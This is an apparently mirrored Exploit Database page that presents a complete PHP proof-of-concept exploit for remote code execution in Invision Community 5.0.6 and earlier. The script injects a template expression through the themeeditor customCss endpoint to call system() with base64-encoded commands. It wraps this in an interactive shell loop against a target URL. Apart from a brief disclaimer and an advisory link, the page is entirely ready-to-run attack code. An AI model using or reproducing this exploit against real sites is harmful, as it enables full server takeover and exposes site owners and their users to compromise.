Invision Community 5.0.6 – Remote Code Execution (RCE)

• Exploit Database
• 8 阅读

• 作者： Egidio Romano
  日期： 2025-05-18
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52294/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57

  <?php     /* --------------------------------------------------------------------------- Exploit Title: Invision Community 5.0.6 - Remote Code Execution (RCE) ---------------------------------------------------------------------------   author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: https://invisioncommunity.com   +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only.| | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+   [-] Original Advisory:   https://karmainsecurity.com/KIS-2025-02 */   set_time_limit(0); error_reporting(E_ERROR);   print "\n+-------------------------------------------------------------------+"; print "\n| Invision Community <= 5.0.6 Remote Code Execution Exploit by EgiX |"; print "\n+-------------------------------------------------------------------+\n";   if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");   if ($argc != 2) { print "\nUsage......: php $argv[0] <URL>\n"; print "\nExample....: php $argv[0] http://localhost/invision/"; print "\nExample....: php $argv[0] https://invisioncommunity.com/\n\n"; die(); }   $ch = curl_init();   $params = ["app" => "core", "module" => "system", "controller" => "themeeditor", "do" => "customCss"];   curl_setopt($ch, CURLOPT_URL, $argv[1]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);   while (1) { print "\ninvision-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $params["content"] = sprintf("{expression=\"die(&apos;________&apos;.system(base64_decode(&apos;%s&apos;)))\"}", base64_encode($cmd)); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); preg_match("/(.*)________/s", curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n"); }